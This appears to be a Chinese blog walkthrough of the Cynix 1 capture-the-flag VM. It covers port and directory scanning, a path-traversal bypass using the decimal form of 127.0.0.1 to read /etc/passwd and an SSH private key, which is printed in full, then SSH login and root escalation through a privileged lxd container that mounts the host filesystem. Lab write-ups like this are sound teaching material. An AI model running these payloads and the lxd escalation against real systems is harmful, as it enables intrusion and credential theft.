靶机训练5 - CYNIX1
靶机训练5 - CYNIX1
一,前期准备
- 下载地址
- 靶机信息
- 2019年11月18日
- 中级
- 网络
- DHCP 服务:已启用
- IP 地址:自动分配
- 目标
- user.txt
- root.txt
- 虚拟机导入virtualBox,报错:VirtualBox 未能启动虚拟电脑,由于下述物理网卡找不到 问题解决,再报错:不能为虚拟电脑XXX打开一个新任务
- 解决方法
-
方法1:曲线救国(从virtualbox导入1.0版本,再导入vmware,然后修改网卡),发现18.04之后无法实现修改网卡
-
方法2:
- 不能为虚拟电脑XXX打开一个新任务的详细报错中有一个细节:Oracle VM VirtualBox Extension Pack
- 下载安装该扩展后,重启virtualbox即可
- win10虚拟机Oracle VM VirtualBox安装和使用教程 - 知乎 (zhihu.com)
-
二,信息收集
1. 主机探测
nmap -sP 192.168.31.0/24
2. 端口扫描
-
先进行全端口的扫描
-
nmap -p- -T5 192.168.31.227 #全端口扫描
-
-
详细的版本探测
-
nmap -sV -sC -p 80,6688 -A 192.168.31.227
-
- 访问首页(80端口)
3. 目录扫描
-
扫描一级目录
-
gobuster dir -u http://192.168.31.227 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-
/lavalamp
/server-status
- 访问
- 浏览一圈发现只有一个CONTACT US可以使用,可以正常提交相关信息
-
扫描二级目录
-
gobuster dir -u http://192.168.31.227/lavalamp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
-
-
发现这些目录都没访问权限,没啥用
三,渗透过程
1. CONTACT US可以使用,尝试抓包访问
-
打开burp进行抓包测试,在proxy 中发送到 repeater查看
-
还会发现请求被提交给一个php脚本
- /lavalamp/canyoubypassme.php
-
访问后发现是一个图片,没啥用
- F12查看源码,发现一个透明度的css属性(epacity),可能藏着什么东西 ,将其置1后看到隐藏的框,尝试输入发现没啥突破点,继续往下走
- 回到http://192.168.31.227/lavalamp/下,填写留言板,然后提交抓包,发送repeater
- 在应答报文中,发现一个挑衅的句子(你能绕过我嘛?意思是绕过后就可以了?)
- 往下看,发现有两个值file和read(敏感的人可能觉得这里会有文件相关漏洞)
- 在proxy发送到浏览器看看
- 看到点在这里的时候会有一个输入框
- 再次修改这个透明度属性,还是这个输入框,看来这里确实有玄机,再仔细看看
- 再次输入内容,然后抓包
- 尝试访问http://127.0.0.1 或者 http://localhost,又遇到一个挑衅(提示)
- 直接去获取文件,尝试加几个./ 或者 ../
- 发现另一个提示:不让我们去访问
-
尝试直接读取文件,也是拒绝访问
-
./../../etc/passwd
-
-
会想到一个输入框的提示:输入一个整数,经过查询 127.0.0.1可以转换为一个数字 2130706433(可以手动 ping 一下试试)
- 好像输入也不行啊
-
尝试将两者拼接,拿到了文件内容
-
2130706433./../../etc/passwd
-
-
访问一下/home/ford/目录,根据前面端口扫描情况,有一个ssh开放端口(6688),那就可能会公钥私钥文件存在
-
2130706433./../../home/.ssh/id_rsa 2130706433./../../home/.ssh/id_rsa.pub
-
-
结果看到了私钥文件
-
-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2Bsal zYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2 LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurG zo41f/YWjC5DurNjIchzl4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxz Mf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6 gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuSc gfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwR iEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTL DSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr 69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdl rFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4 VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9 TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSw qXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenM gMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7h dq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7 myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8b C9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD 7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8 dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLv kZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7n KVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3Y QnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1 +QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP /kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg= -----END RSA PRIVATE KEY-----
-
-
公钥
-
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTVVS1xi5mYzVmabjI2mC7PN6hwakxVgLnjTJP3RCpoPYGxqXNiq8coSH75s4vpBNKvQ2NT2J9P+UEhVIgDROmNROSl0hbTjkf42WAyE3Sr/HpjLYuh+4HgtCpHOvpw/Slqg5g2rUpgbdAXWi4ZriTWLS13gN6kHFy7gkEw6bbQTsG6sbOjjV/9haMLkO6s2MhyHOXgbIEKUwZJdZshuvqxjBXHY4rKI8sUti6ys2rAk1C/HMx/nKiURgjxY5cnMJ+I9DlUbwpcEfcUe74OEU2CslCOCjAPXlkxDWqk7/YUyF7BHqBwOzusItRRdz3/u4nt7fMeVTIODFqRiiGfdiJ ford@blume
-
-
保存到kali下,后面可能用于ssh公私钥登录
-
尝试ssh登录
-
# 读写权限 chmod 600 is_rsa ssh -i id_rsa ford@192.168.31.227 -p 6688
-
- 成功拿到shell,flag通常在用户的家目录或者网站根目录
- 可以到.ssh路径下查看公私钥
-
可以查看我们刚刚利用的文件绕过漏洞的代码
-
cd /var/www/html/lavalamp # 发现只要在前面随便加上一个目录就可以绕过去 file=xxx/../../../etc/passwd
-
提权
- 查看用户属性,发现它属于一个特殊的组 lxd
- 或者使用命令 groups 查看用户所属的组
lxd(类似于vmware)
(105条消息) linux lxd组用户提权至root_YouthBelief的博客-CSDN博客_linux lxd
- Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源
- Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。
lxd 漏洞信息
- 通过适当的操作,本地lxd组的用户成员可以理解将自己的权限提升为主机操作系统的root权限。这种特性与该用户是否已被授权sudo权限无关,而且全程也无需用户输入密码
- LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配,现在社区也有很多种方法可以利用LXD的这种特性来实施攻击
- 其中的一项技术就是使用LXD API来将目标主机的根文件系统加载进一个容器中,一旦成功,攻击者就可以将低权限的用户提升为root权限,并且能够在不受任何限制的情况下访问目标系统的各种数据资源。
原理
- 用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权
操作简述
- 创建一个虚拟机,将虚拟机的硬盘挂载到真实主机主目录,就可以访问主目录的东西
在kali生成镜像文件
-
git 下载一个虚拟机镜像
-
遇上鉴权失败可以install一下git
-
git clone https://github.com/saghul/lxd-alpine-builder.git
-
-
执行脚本 build-alpine去构建最新版本的Apline镜像(tar.gz镜像文件)
-
./build-alpine
-
-
kali下 通过python自带的简单的服务器程序,将构建好的tar文件发送到目标服务器上
-
python3 -m http.server 8888
-
-
shell 中通过wget命令下载镜像到靶机上
-
wget http://192.168.31.239:8888/alpine-v3.16-x86_64-20220720_2358.tar.gz
-
- 挂载硬盘/mnt/root即可查看目标主机设备的所有资源
# 导入镜像文件,改别名
lxc image import ./alpine-v3.16-x86_64-20220720_2358.tar.gz --alias myimage
# 查看镜像文件
lxc image list
# 初始化镜像,创建容器
lxc init myimage ignite -c security.privileged=true
# 加载容器,挂载硬盘
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
# 启动容器
lxc start ignite
# 进入root的sh
lxc exec ignite /bin/sh
# 退出root
exit
- 然后就进入了root 模式,在root下就可以看到 root.txt
总结
-
前期进行目录扫描的时候很关键,多用几个扫描器,字典很重要,扫描到目录之后找到关键点
-
gobuster dir -u http://192.168.31.227/ -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10 0 dirb http://192.168.31.227/ dirsearch -u 192.168.31.227 -e* -x 403
-
-
最简单的页面可能就存在不简单的问题
-
id 查看后 发现普通用户在 lxd组,LXD提权这个提权方式我是耳目一新,学到了
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现